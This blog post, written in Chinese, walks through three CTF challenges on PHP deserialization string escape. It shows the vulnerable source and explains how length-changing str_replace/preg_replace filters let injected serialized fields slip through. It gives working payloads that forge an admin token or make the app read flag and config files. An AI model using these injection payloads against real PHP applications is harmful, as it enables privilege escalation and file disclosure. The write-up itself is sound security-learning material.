反序列化字符串逃逸——初体验

前言:
从CTFshow上做的一道反序列化字符串逃逸的题,第一次接触,想了半天(可能是我太菜了>__<)后来才发现其实不难理解,真的需要动手写脚本操作一下,光看不好理解

题目链接

message.php:

<?php
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}
index.php:

<?php
error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

首选明确几点:

• PHP 在反序列化时,对类中不存在的属性也会进行反序列化
• PHP 在反序列化时,底层代码是以 ;作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的

反序列化字符串逃逸类似于注入,通过拼接、闭合这种思想构造字符串

回到题目~
拿到flag的条件是$msg->token=='admin'但题目中token初始化的值是user。再看$umsg = str_replace('fuck', 'loveU', serialize($msg))这个替换语句,将序列化后,4个字符长度的fuck替换成5个字符长度loveU。然后再将反序列化的结果拿去比较token=='admin'

为此,我们可以想到反序列化字符串逃逸

要让token=='admin',序列化的形式应该这样:O:7:"message":1:{s:5:"token";s:5:"admin";}反序列化出来就是class message{ public $token='admin';}
其中:s:5:"token";s:5:"admin";24个字符

<?php class message{
    public $from='d';
    public $msg='m';
    public $to='1';
    public $token='user';
    }
$msg= serialize(new message);
print_r($msg);
输出:  O:7:"message":4:{s:4:"from";s:1:"d";s:3:"msg";s:1:"m";s:2:"to";s:1:"1";s:5:"token";s:4:"user";} 

我们将字符串插入到$to中,但要注意闭合,所以要加上" ;(闭合前面字符串)和} (闭合 类结束符)";s:5:"token";s:5:"admin";} 这一共27个字符长度就是我们需要插入的字符串

<?php class message{
    public $from='d';
    public $msg='m';
    public $to='1";s:5:"token";s:5:"admin";}';
    public $token='user';
    }
$msg= serialize(new message);
print_r($msg);

输出:  O:7:"message":4:O:7:"message":4:{s:4:"from";s:1:"d";s:3:"msg";s:1:"m";s:2:"to";s:28:"1";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}  

假如将上面这个输出反序列化,会这么样呢?
会报错!因为s:28:"1"此处,PHP认为此处的to的值是1,所以长度是1。但给的是28啊,这相差了27个字符长度(就是我们插入字符串的长度),不符合PHP认为的就报错了

我们利用前面的loveU替换fuck补充这27的差值
一个fuck比一个loveU多一个长度,27个fuck就会多出27个长度

<?php class message{
    public $from='d';
    public $msg='m';
    public $to='1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
    public $token='user';
    }
$msg= serialize(new message);
print_r($msg);

输出:  O:7:"message":4:{s:4:"from";s:1:"d";s:3:"msg";s:1:"m";s:2:"to";s:136:"1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}

通过替换:
O:7:"message":4:{s:4:"from";s:1:"d";s:3:"msg";s:1:"m";s:2:"to";s:136:"1loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}


注意str_replace()替换后,136这个值是不变的!而此时,136个字符长度读到的是1loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU

后面的";s:5:"token";s:5:"admin";}就分离开来了,反序列化后就是token=admin

}是结束符号,";s:5:"token";s:4:"user";}是不会被反序列化的!这样一看,就是反序列化字符逃逸了,反序列结果如下

message Object
(
    [from] => d
    [msg] => m
    [to] => 1loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU
    [token] => admin
)

即使题目初始化:public $token='user'我们也可以利用替换导致的长度变化,构造出我们要想的

payload:
?f=1&m=2&t=6fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}




[0CTF 2016]piapiapia

首先是扫描拿到www.zip,然后进行分析:
1.先看index.php文件:
没啥别的,就是长度要求罢了
在这里插入图片描述
2.register文件:
发现一个注册文件,也没啥,常规注册,也有长度要求
3.update.php:
注册完后直接跳转到update.php
在这里插入图片描述
在这里插入图片描述
可以看到这些注册信息都是被存入$profile数组中,且有过滤
然后这个$profile数组会被序列化传到update_profile这个方法下处理,然后跳转到profile.php页面进行查看。
我们先看update_profile这个方法所在的class.php,跟进
4.class.php

在这里插入图片描述
发现先经过父类中filter方法进行过滤处理后才进行了更新操作
查看filter方法:
在这里插入图片描述
发现会将select ... where这些关键词替换成hacker
联系这是序列化传输并且有preg_replace造成的长度变化,可以大胆想到反序列化字符串逃逸
5.profile.php
发现会将之前序列化的信息反序列化然后展示到这个页面,有个file_get_contents显然是关键,我们需要用它包含flag进来,那flag在哪呢?
在这里插入图片描述
6.config.php
这是最后一个我们还没审的文件,结果一看发现flag就在这文件中
在这里插入图片描述

所以思路出来了:
我们要利用filter方法中的pre_replace函数,将 where(5长度) 替换成 hacker(6长度),然后进行反序列化字符串逃逸,令profile[photo]=config.php这样就包含了这个文件了。
但在update.php中
在这里插入图片描述
这就很恶心,因为我们必然会用到大量的字符长度在nickname处进行操作。但有个知识点:

数组在某些函数的特殊使用:

md5(Array()) = null
sha1(Array()) = null
ereg(pattern,Array()) =null
preg_match(pattern,Array()) = false  
strcmp(Array(), “abc”) =null
strpos(Array(),“abc”) = null
strlen(Array()) = null		//本题用到这个特性

nickname传入数组就能使strlen返回NULL,从而绕过

<?php

$profile['phone'] = 13666974123;
$profile['email'] = '123123123@qq.com';
$profile['nickname'][] = "name";   //数组形式!!
$profile['photo'] = 'upload/' . md5('aaa');

echo serialize($profile);
?>


输出:
a:4:{s:5:"phone";i:18888888888;s:5:"email";s:16:"123123123@qq.com";s:8:"nickname";a:1:{i:0;s:4:"name";}s:5:"photo";s:39:"upload/47bce5c74f589f4867dbd57e9ca9f808";}

我们要插入到nickname处,这里一共34个字符,就需要34个where(nickname的长度是204,在where被hacker替换后,这长度还是204,而204刚好读完最后一个where,后面的字符串就逃逸出来了):

";}s:5:"photo";s:10:"config.php";}         //34长度
模拟传入后端的序列化字符:
a:4:{s:5:"phone";i:18888888888;s:5:"email";s:16:"123123123@qq.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/47bce5c74f589f4867dbd57e9ca9f808";}

在这里插入图片描述





[安洵杯 2019]easy_serialize_php

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

这是反序列化字符串逃逸——长度减少的情况:

到phpinfo页面寻找一些信息,猜测是flag的位置,通过检索一些关键词append、include、root、core、flag,发现了flag文件:d0g3_f1ag.php

关键代码是这些:

extract($_POST);
...........
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
	$serialize_info = filter(serialize($_SESSION));
.........
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));

$serialize_info = filter(serialize($_SESSION)); :先将$_SESSION数组反序列化才进行过滤,要ban的字符直接替换为空。
我们要令 $userinfo['img']=d0g3_f1ag.php ,但是有一个sha1函数会处理$_SESSION['img']导致我们不能够直接通过extract($_POST)赋值,但后面有个序列化,于是想到反序列字符串逃逸了

有两种解法:键名处引起的变化 与 键值处引起的变化

一、键名处引起的变化 :
先模拟PHP进行序列化

<?php


$_SESSION['flagflaga']=''; 
$_SESSION['img']='ZDBnM19mMWFnLnBocA==' ;

echo serialize($_SESSION);
?>
输出:
a:2:{s:8:"flagflag";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
因为我们在key值处赋值了会长度减少的flagflag,于是乎序列化出来被filter处理后会缺失8个长度。关键之处:我们就是要利用这8个长度去吞掉字符,以致构造出来的值拼接后能正常的反序列化出来。
<?php
$_SESSION['flagflag']='";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION['img']='此处是题目中的img值' ;

echo serialize($_SESSION);
?>
输出:
a:2:{s:8:"flagflag";s:49:"";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:27:"此处是题目中的img值";}

payload:

POST传参:(因为extract函数)
_SESSION["flagflag"]=";s:1:"a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}




二、键值处引起的变化 :

<?php

$_SESSION['user']='flagflagflagflagflagflag';
$_SESSION['function']='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION['img']='这里是题目中的img' ;

echo serialize($_SESSION);
?>
输出:
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:42:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:24:"这里是题目中的img";}

经过filter过滤:
a:3:{s:4:"user";s:24:"";s:8:"function";s:42:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:24:"这里是题目中的img";}
此时我们构造的img键值对逃逸出来了,但出现键值对与反序列时元素个数不对应的情况 因为是a:3,我们的是a:2,所以需要在输入时多加一个键值对
多加一个 s:1:"d";s:2:"DD";
输入变成:
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"d";s:2:"DD";}

注意会有三个数组元素!如果我们通过构造致使题目的img键值对被丢弃,我们就只剩下user键值对和我们构造的img键值对了(function键值对被吃了),这一共两个,但题目在序列化时就确定了是3个 (a:3

payload:
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"d";s:2:"DD";}

总结:需要注意序列化与反序列化时元素个数的一致!

  • 6
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
Fastjson是一个Java语言编写的高性能JSON处理框架,它提供了丰富的功能和灵活的API,其中包括对反序列化字符串数组的支持。 要使用Fastjson进行反序列化字符串数组,可以按照以下步骤进行操作: 1. 导入Fastjson库:首先需要在项目中导入Fastjson库,可以通过Maven或手动下载并添加到项目的依赖中。 2. 创建JSON字符串:准备一个包含字符串数组的JSON字符串,例如:`["string1", "string2", "string3"]`。 3. 定义目标类型:创建一个Java类来表示目标类型,该类应该包含一个与JSON字符串中的数组对应的字段。 4. 进行反序列化:使用Fastjson提供的API进行反序列化操作。可以使用`JSON.parseObject()`方法将JSON字符串转换为Java对象,然后通过获取字段值来获取字符串数组。 下面是一个示例代码,演示了如何使用Fastjson反序列化字符串数组: ```java import com.alibaba.fastjson.JSON; public class Main { public static void main(String[] args) { String jsonString = "[\"string1\", \"string2\", \"string3\"]"; // 定义目标类型 class MyObject { private String[] strings; public String[] getStrings() { return strings; } public void setStrings(String[] strings) { this.strings = strings; } } // 反序列化 MyObject myObject = JSON.parseObject(jsonString, MyObject.class); String[] strings = myObject.getStrings(); // 打印结果 for (String str : strings) { System.out.println(str); } } } ``` 这样,你就可以使用Fastjson来反序列化字符串数组了。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值